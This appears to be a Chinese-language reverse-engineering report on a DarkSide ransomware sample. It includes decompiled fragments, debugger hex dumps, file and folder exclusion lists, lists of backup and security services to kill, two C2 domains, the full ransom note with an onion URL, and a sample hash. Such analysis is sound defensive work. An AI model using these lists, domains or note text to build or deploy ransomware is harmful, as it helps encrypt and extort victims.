

Darkside 勒索病毒样本分析



目录

一、	概述.....	3
二、	程序逆向.....	3
三、	附录.....	8

一、概述

6月1日，从互联网中得到病毒样本，该样本为带壳的程序，启动后，通过解压的方式获取到配置信息，按照配置信息，进行相应的处理，删除回收站内的文件，在 local 文件夹下释放勒索图标，获取主机信息，拼接后向黑客后台以 post 方式发送，读取主机的 Guid，计算出勒索 ID，与勒索信的名字进行拼接，根据配置信息，对相应的目录内文件进行加密，加密后释放勒索信，删除卷影文件。

二、程序逆向

用侦壳软件检测，使用 upx 壳，如下图所示：



脱壳后确认为 delphi，如下图所示：



静态分析，为了躲避分析，使用动态加载 API，找到回收站路径，清理回收站文件

```
67         else
68         {
69             dword_410E1A(v17); // 找到回收站路径，将回收站里的文件清除
70         }
71     }
```

动态解密配置文件

```
3 sub_401472(&byte_4107E0, (_OWORD *)(v5 + 32), 0x18u); // 解密配置文件
3 if ( byte_4107EB ) // $recycle.bin 等
3 {
3     v6 = sub_402BFD(v5 + 56);
3     dword_4108F8 = dword_410D56(dword_410A9E, 8, v6, v21, v22);
3     sub_401472((_OWORD *)dword_4108F8, (_OWORD *)(v5 + 56), v6);
3 }
3 if ( byte_4107EC ) // autorun.inf 等
3 {
3     v7 = sub_402BFD(v5 + 2056);
3     dword_4108FC = dword_410D56(dword_410A9E, 8, v7, v23, v24, v25);
3     sub_401472((_OWORD *)dword_4108FC, (_OWORD *)(v5 + 2056), v7);
3 }
3 if ( byte_4107ED ) // 386等
3 {
3     v8 = sub_402BFD(v5 + 4056);
3     dword_410900 = dword_410D56(dword_410A9E, 8, v8, v26, v27, v28);
3     sub_401472((_OWORD *)dword_410900, (_OWORD *)(v5 + 4056), v8);
3 }
3 if ( byte_4107EE ) // backup
3 {
3     v9 = sub_402BFD(v5 + 6056);
3     dword_410904 = dword_410D56(dword_410A9E, 8, v9, v29, v30, v31);
3     sub_401472((_OWORD *)dword_410904, (_OWORD *)(v5 + 6056), v9);
3 }
3 if ( byte_4107EF ) // sql sqlite
3 {
3     v10 = sub_402BFD(v5 + 8056);
3     dword_410908 = dword_410D56(dword_410A9E, 8, v10, v32, v33, v34);
3     sub_401472((_OWORD *)dword_410908, (_OWORD *)(v5 + 8056), v10);
3 }
3 if ( byte_4107E1 ) // vmcompute.exe 等
3 {
3     v11 = sub_402BFD(v5 + 10056);
3     dword_41090C = dword_410D56(dword_410A9E, 8, v11, v35, v36, v37);
3     sub_401472((_OWORD *)dword_41090C, (_OWORD *)(v5 + 10056), v11);
3 }
3 if ( byte_4107F0 ) // sql 等
3 {
3     v12 = sub_402BFD(v5 + 12056);
3     dword_410910 = dword_410D56(dword_410A9E, 8, v12, v38, v39, v40);
3     sub_401472((_OWORD *)dword_410910, (_OWORD *)(v5 + 12056), v12);
3 }
3 if ( byte_4107F1 ) // vss 等
```

```

if ( byte_4107E1 )                // vmcompute.exe 等
{
    v11 = sub_4028FD(v5 + 10056);
    dword_41090C = dword_410D56(dword_410A9E, 8, v11, v35, v36, v37);
    sub_401472((_OWORD *)dword_41090C, (_OWORD *)v5 + 10056, v11);
}
if ( byte_4107F0 )                // sql 等
{
    v12 = sub_4028FD(v5 + 12056);
    dword_410910 = dword_410D56(dword_410A9E, 8, v12, v38, v39, v40);
    sub_401472((_OWORD *)dword_410910, (_OWORD *)v5 + 12056, v12);
}
if ( byte_4107F1 )                // vss 等
{
    v13 = sub_4028FD(v5 + 14056);
    dword_410914 = dword_410D56(dword_410A9E, 8, v13, v41, v42, v43);
    sub_401472((_OWORD *)dword_410914, (_OWORD *)v5 + 14056, v13);
}
if ( byte_4107F7 )                // catsdegree.com \ temisleyes.com
{
    v14 = sub_4028FD(v5 + 16056);
    dword_410918 = dword_410D56(dword_410A9E, 8, v14, v44, v45, v46);
    sub_401472((_OWORD *)dword_410918, (_OWORD *)v5 + 16056, v14);
}
if ( byte_4107F2 )                // All of your files are encrypted!
                                // Find %s and Follow Instructions!
{
    v15 = sub_4028FD(v5 + 17056);
    dword_41091C = dword_410D56(dword_410A9E, 8, v15, v47, v48, v49);
    sub_401472((_OWORD *)dword_41091C, (_OWORD *)v5 + 17056, v15);
}
if ( byte_4107F3 )                // Welcome to DarkSide 等
{
    v16 = sub_4028FD(v5 + 19056);
    dword_410920 = dword_410D56(dword_410A9E, 8, v16, v50, v51, v52);
    sub_401472((_OWORD *)dword_410920, (_OWORD *)v5 + 19056, v16);
}

```

00402918	74 2F	je short <111111.loc_402949>	
0040291A	8D43 38	lea eax,dword ptr ds:[ebx+0x38]	
0040291D	50	push eax	
0040291E	E8 DA020000	call <111111.sub_4028FD>	

跳转未实现

00402949=<111111.loc_402949>

地址	HEX 数据				ASCII
005FA198	24 00 72 00	65 00 63 00	79 00 63 00	6C 00 65 00	\$.r.e.c.y.c.l.e.
005FA1A8	2E 00 62 00	69 00 6E 00	00 00 63 00	6F 00 6E 00	..b.i.n...c.o.n.
005FA1B8	66 00 69 00	67 00 2E 00	6D 00 73 00	69 00 00 00	f.i.g...m.s.i...
005FA1C8	24 00 77 00	69 00 6E 00	64 00 6F 00	77 00 73 00	\$.w.i.n.d.o.w.s.
005FA1D8	2E 00 7E 00	62 00 74 00	00 00 24 00	77 00 69 00	..~.b.t...\$.w.i.
005FA1E8	6E 00 64 00	6F 00 77 00	73 00 2E 00	7E 00 77 00	n.d.o.w.s...~.w.
005FA1F8	73 00 00 00	77 00 69 00	6E 00 64 00	6F 00 77 00	s...w.i.n.d.o.w.
005FA208	73 00 00 00	61 00 70 00	70 00 64 00	61 00 74 00	s...a.p.p.d.a.t.
005FA218	61 00 00 00	61 00 70 00	70 00 6C 00	69 00 63 00	a...a.p.p.l.i.c.
005FA228	61 00 74 00	69 00 6F 00	6E 00 20 00	64 00 61 00	a.t.i.o.n. .d.a.
005FA238	74 00 61 00	00 00 62 00	6F 00 6F 00	74 00 00 00	t.a...b.o.o.t...
005FA248	67 00 6F 00	6F 00 67 00	6C 00 65 00	00 00 6D 00	g.o.o.g.l.e...m.
005FA258	6F 00 7A 00	69 00 6C 00	6C 00 61 00	00 00 70 00	o.z.i.l.l.a...p.
005FA268	72 00 6F 00	67 00 72 00	61 00 6D 00	20 00 66 00	r.o.g.r.a.m. .f.
005FA278	60 00 6C 00	65 00 73 00	00 00 70 00	72 00 6E 00	i.l.o.s.p.r.o.

不加密以下文件夹、文件、后缀名的文件

1	\$recycle.bin	1	autorun.inf
2	config.msi	2	boot.ini
3	\$windows.~bt	3	bootfont.bin
4	\$windows.~ws	4	bootsect.bak
5	windows	5	desktop.ini
6	appdata	6	iconcache.db
7	application	7	ntldr
8	data	8	ntuser.dat
9	boot	9	ntuser.dat.log
10	google	10	ntuser.ini
11	mozilla	11	thumbs.db
12	program		
13	files	1	386 adv
14	program	2	ani bat
15	files	3	bin cab
16	(x86)	4	cmd com
17	programdata	5	cpl cur
18	system	6	deskthemepack diagcab
19	volume	7	diagcfg diagpkg
20	information	8	dll drv
21	tor	9	exe hlp
22	browser	10	icl icns
23	windows.old	11	ico ics
24	intel	12	idx ldf
25	msocache	13	lnk mod
26	perflogs	14	mpa msc
27	x64dbg	15	msp msstyles
28	public	16	msu nls
29	all	17	nomedia ocx
30	users	18	prf psl
31	default	19	rom rtp
		20	scr shs
		21	spl sys
		22	theme themepack
		23	wpx lock
		24	key hta
		25	msi pdb

查找并杀死以下服务和进程

1	sql	1	vss
2	oracle	2	sql
3	ocssd	3	svc\$
4	dbnmp	4	mentas
5	synctime	5	mepocs
6	agntsvc	6	sophos
7	isqlplussvc	7	veeam
8	xfssvcon	8	backup
9	mydesktopservice	9	GxVss
10	ocautoupds	10	GxB1r
11	encsvc	11	GxFWD
12	firefox	12	GxCVD
13	tbirdconfig	13	GxCIMgr
14	mydesktopqos		
15	ocomm		
16	dbeng50		
17	sqbcoreservice		
18	excel		
19	infopath		
20	msaccess		
21	mspub		
22	onenote		
23	outlook		
24	powerpnt		
25	steam		
26	thebat		
27	thunderbird		
28	visio		
29	winword		
30	wordpad		
31	notepad		

访问黑客后台

```
if ( byte_4107F7 ) // catsdegree.com \temisleyes.com
{
    v14 = sub_402BFD(v5 + 16056);
    dword_410918 = dword_410D56(dword_410A9E, 8, v14, v44, v45, v46);
    sub_401472((_OWORD *)dword_410918, (_OWORD *)(v5 + 16056), v14);
}
```


勒索信内容

00402B7E	74 58	je short <111111.loc_402BD8>	
00402B80	8D83 704A0000	lea eax,dword ptr ds:[ebx+0x4A70]	
00402B86	50	push eax	
00402B87	E8 71000000	call <111111.sub_402BFD>	
00402B8C	8BF0	mov esi,eax	
00402B8E	56	push esi	
00402B8F	6A 08	push 0x8	
地址=005FEBD0, (ASCII "----- [Welcome to DarkSide] ----->			
eax=005FEBD0, (ASCII "----- [Welcome to DarkSide] ----->			

地址	HEX 数据												ASCII				
005FEBD0	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	5B	20	57	65	----- [We
005FEBE0	6C	63	6F	6D	65	20	74	6F	20	44	61	72	6B	53	69	64	lcome to DarkSid
005FEBF0	65	20	5D	20	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	e] -----
005FEC00	2D	3E	20	0D	0A	20	20	0D	0A	20	57	68	61	74	20	68	-> What h
005FEC10	61	70	70	65	6E	64	3F	20	0D	0A	20	2D	2D	2D	2D	2D	append? .. ----
005FEC20	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	-----
005FEC30	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	2D	-----
005FEC40	2D	2D	2D	2D	2D	2D	2D	2D	2D	20	0D	0A	20	59	6F	75	----- .. You
005FEC50	72	20	63	6F	6D	70	75	74	65	72	73	20	61	6E	64	20	r computers and
005FEC60	73	65	72	76	65	72	73	20	61	72	65	20	65	6E	63	72	servers are encr

1	----- [Welcome to DarkSide] ----->
2	
3	What happend?
4	-----
5	Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data.
6	But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network.
7	Follow our instructions below and you will recover all your data.
8	
9	What guarantees?
10	-----
11	We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests.
12	All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems.
13	We guarantee to decrypt one file for free. Go to the site and contact us.
14	
15	How to get access on website?
16	-----
17	Using a TOR browser:
18	1) Download and install TOR browser from this site: https://torproject.org/
19	2) Open our website: http://darksidefoxcuhtk2.onion/GRR5DDMR3R8SDI2RYVF376YGBJAV2J4F2NXFEWPSXV709MAA0MY7PMBBQJ0HV3
20	
21	When you open our website, put the following data in the input form:
22	Key:
23	
24	515BZPnhuDEXAVqJR4MgValeWwML2OjDOtYwubDXeXGefcJDD4otfGdb9pJPrHW7Rt0XqdwabTW19I5xhiHBsW6mg5BoqR4M2L20TilhN4ifY7RVgRakjxxhhyImncWtgNb8LWtJlhn6cwtDL1sIjq0wAn8s7YsdzqTFPreHXEYFiFH1ozViP2XVlm05QXMZul6DNkFcXVifdw5gPeSYjd3VAa7VLIH8IXgwCuza7YprCeDI0mvRqYK1jBH4s4nn0VYEHnWRndP7jNNUmat6FMhNzeKnLYGbMDRwm2R6iFdFX0Y31hEWenDamVRchRSESYwIL9LqTfkrnrswflseAB0S0codZXRxGSHNItcitj3Za1NzC5fmBpdKN4jV01hMBG98ZEN8HMKOdVxKtbaZP86K9IfBy8QcNrWLQ2haeup6DD6KsG8R0Jj8cozKTu4MD1GaxQmP5SycA0B6IzpPVV0Tbn9yWIIIFH6y4mir71zDWbCPH3p5Hnr80gTnOFHXGzK6Gfrdy1bjn5H99zn1LFFjchV8EEPMtgG2PwKF7NVQ9dId1MBHWQpGc
25	
26	!!! DANGER !!!
27	DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them.
28	!!! DANGER !!!

readme 文件名

地址	HEX 数据				ASCII
0040B5AC	52 00 45 00	41 00 44 00	4D 00 45 00	25 00 73 00	R.E.A.D.M.E.%5.
0040B5BC	2E 00 54 00	58 00 54 00	00 00 0E 00	00 00 34 84	..T.X.T...4Q

从注册表获取当前主机的 GUID，得出勒索 ID

0018FE6C	005F0378	UNICODE "MachineGuid"
0018FE70	005F1948	UNICODE "SOFTWARE\Microsoft\Cryptography"

```
10 HIBYTE(v6) = 0;
11 do
12 {
13     v7 = *a1++;
14     v8 = v7;
15     LOBYTE(v6) = v7 >> 4;
16     v9 = v8 & 0xF;
17     if ( (unsigned __int8)v6 <= 9u )
18         LOBYTE(v6) = v6 + 48;
19     if ( (unsigned __int8)v6 >= 0xAu && (unsigned __int8)v6 <= 0xFu )
20         LOBYTE(v6) = v6 + 87;
21     if ( v9 <= 9u )
22         v9 += 48;
23     if ( v9 >= 0xAu && v9 <= 0xFu )
24         v9 += 87;
25     *a3 = v6;
26     v10 = a3 + 1;
27     LOBYTE(v6) = v9;
28     *v10 = v6;
29     a3 = v10 + 1;
30     --a2;
31 }
32 while ( a2 );
33 result = 0;
34 *a3 = 0;
35 return result; // 从注册表获取Guid开始计算，得到最终的勒索ID
36 }
```

```
strcpy(v4, "kernel32");
strcpy(v5, "LoadLibraryA");
strcpy(v6, "LoadLibraryExA");
strcpy(v2, "VirtualAlloc");
strcpy(v3, "VirtualProtect"); // 将相关函数填充
v7 = (*(int (__stdcall **)(char *))a1)(v4);
*(DWORD*)(a1 + 8) = (*(int (__stdcall **)(int, char **))(a1 + 4))(v7, v5);
*(DWORD*)(a1 + 12) = (*(int (__stdcall **)(int, char **))(a1 + 4))(v7, v6);
*(DWORD*)(a1 + 16) = (*(int (__stdcall **)(int, char **))(a1 + 4))(v7, v2);
*(DWORD*)(a1 + 20) = (*(int (__stdcall **)(int, char **))(a1 + 4))(v7, v3);
memset(v4, 0, 9u);
memset(v5, 0, 0xDu);
memset(v6, 0, 0xFu);
memset(v2, 0, 0xDu);
result = 0;
memset(v3, 0, 0xFu);
return result;
```

生成勒索 ID，将之前解密出的文件名进行拼接，得到完成的勒索信文件名

00401572	75 BE	jnz short <111111.loc_401532>	
00401574	66:33C0	xor ax,ax	
00401577	66:AB	stos word ptr es:[edi]	
00401579	5F	pop edi	005F0378
ax=0065			

地址	HEX 数据				ASCII
0041093A	36 00 36 00	37 00 37 00	64 00 31 00	37 00 65 00	6.6.7.7.d.1.7.e.
00410946	00 00 00 00	00 00 00 00	00 00 00 00	00 00 00 00	

地址	HEX 数据				ASCII
00410A1A	52 00 45 00	41 00 44 00	4D 00 45 00	2E 00 36 00	R.E.A.D.M.E...6.
00410A2A	36 00 37 00	37 00 64 00	31 00 37 00	65 00 2E 00	6.7.7.d.1.7.e...
00410A3A	54 00 58 00	54 00 00 00	00 00 00 00	00 00 00 00	T.X.T.....

获取当前主机信息

```
v3 = a2 / 0xFF;
v4 = a2 % 0xFF;
if ( a2 / 0xFF )
{
    v5 = a2 / 0xFF;
    do
    {
        LOBYTE(v3) = sub_4017AA(a1, 255);
        a1 += 255;
        --v5;
    }
    while ( v5 );
}
if ( v4 )
    LOBYTE(v3) = sub_4017AA(a1, v4);
return v3; // 提取受害者信息
}
```

```
1  "os":{
2
3  "lang":"zh-CN",
4
5  "username":"sjz",
6
7  "hostname":"SANDBOX-PC",
8
9  "domain":"WORKGROUP",
10
11 "os_type":"windows",
12
13 "os_version":"Windows7Ultimate",
14
15 "os_arch":"x64",
16
17 "disks":"C:37/59",
18
19 "id":"9415d568434a3042c67a"
20
21 }
```

伪装浏览器头，向黑客服务器发送受害者信息

00403311	FF15 720F4100	call dword ptr ds:[<dword_410F72>]	wininet.InternetOpenW
00403317	8945 F8	mov dword ptr ss:[ebp-0x8],eax	
0040331A	837D F8 00	cmp dword ptr ss:[ebp-0x8],0x0	
0040331E	0F84 6E010000	je <111111.loc_403492>	
00403324	8B35 18094100	mov esi,dword ptr ds:[<dword_410918>]	
0040332A	6A 00	push 0x0	loc_40332A
0040332C	6A 00	push 0x0	
0040332E	6A 03	push 0x3	
ds:[00410918]=00533C98, (UNICODE "catsdegree.com")			
esi=00533C98, (UNICODE "catsdegree.com")			

00403311	FF15 720F4100	call dword ptr ds:[<dword_410F72>]	wininet.InternetOpenW
00403317	8945 F8	mov dword ptr ss:[ebp-0x8],eax	
0040331A	837D F8 00	cmp dword ptr ss:[ebp-0x8],0x0	
0040331E	0F84 6E010000	je <111111.loc_403492>	
00403324	8B35 18094100	mov esi,dword ptr ds:[<dword_410918>]	
0040332A	6A 00	push 0x0	loc_40332A
0040332C	6A 00	push 0x0	
0040332E	6A 03	push 0x3	
ds:[00410F72]=76999DA0 (wininet.InternetOpenW)			

地址	HEX 数据	ASCII	0018FE90	00
005FE6B0	4D 00 6F 00 7A 00 69 00 6C 00 6C 00 61 00 2F 00	M.o.z.i.l.l.a./.	0018FE94	00
005FE6C0	35 00 2E 00 30 00 20 00 28 00 57 00 69 00 6E 00	5...0. .(.W.i.n.	0018FE98	00
005FE6D0	64 00 6F 00 77 00 73 00 20 00 4E 00 54 00 20 00	d.o.w.s. .N.T. .	0018FE9C	00
005FE6E0	36 00 2E 00 31 00 3B 00 20 00 57 00 69 00 6E 00	6...1.;. .W.i.n.	0018FEA0	00
005FE6F0	36 00 34 00 3B 00 20 00 78 00 36 00 34 00 3B 00	6.4.;. .x.6.4.;.	0018FEA4	00
005FE700	20 00 72 00 76 00 3A 00 37 00 39 00 2E 00 30 00	.r.v.:.7.9...0.	0018FEA8	00
005FE710	29 00 20 00 47 00 65 00 63 00 6B 00 6F 00 2F 00). .G.e.c.k.o./.	0018FEAC	00
005FE720	32 00 30 00 31 00 30 00 30 00 31 00 30 00 31 00	2.0.1.0.0.1.0.1.	0018FEB0	76
005FE730	20 00 46 00 69 00 72 00 65 00 66 00 6F 00 78 00	.F.i.r.e.f.o.x.	0018FEB4	00
005FE740	2F 00 38 00 30 00 2E 00 30 00 00 00 04 18 A4 EC	/..8.0...0... 机	0018FEB8	00

调用加密模块进行加密文件

```
5     if ( v2 )
6     {
7         switch ( v2 )
8         {
9             case 1: // 加密模块
10                sub_40209C(v8 + 13, v8 + 65, v8 + 65, v7);
11                if ( v1[9] )
12                {
13                    *(_QWORD *)(v1 + 5) += 0x80000i64;
14                    --v1[9];
15                    v1[12] = 0;
16                }
17                else
18                {
19                    v4 = *(_QWORD *)(v1 + 7);
20                    if ( v4 == -1 )
21                    {
22                        v1[12] = 2;
23                    }
24                    else
25                    {
26                        *(_QWORD *)(v1 + 5) += v4;
27                        v1[9] = v1[10];
28                        v1[12] = 0;
29                    }
30                }
31            }
32        }
```

附录

文中涉及样本 SHA256：

4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a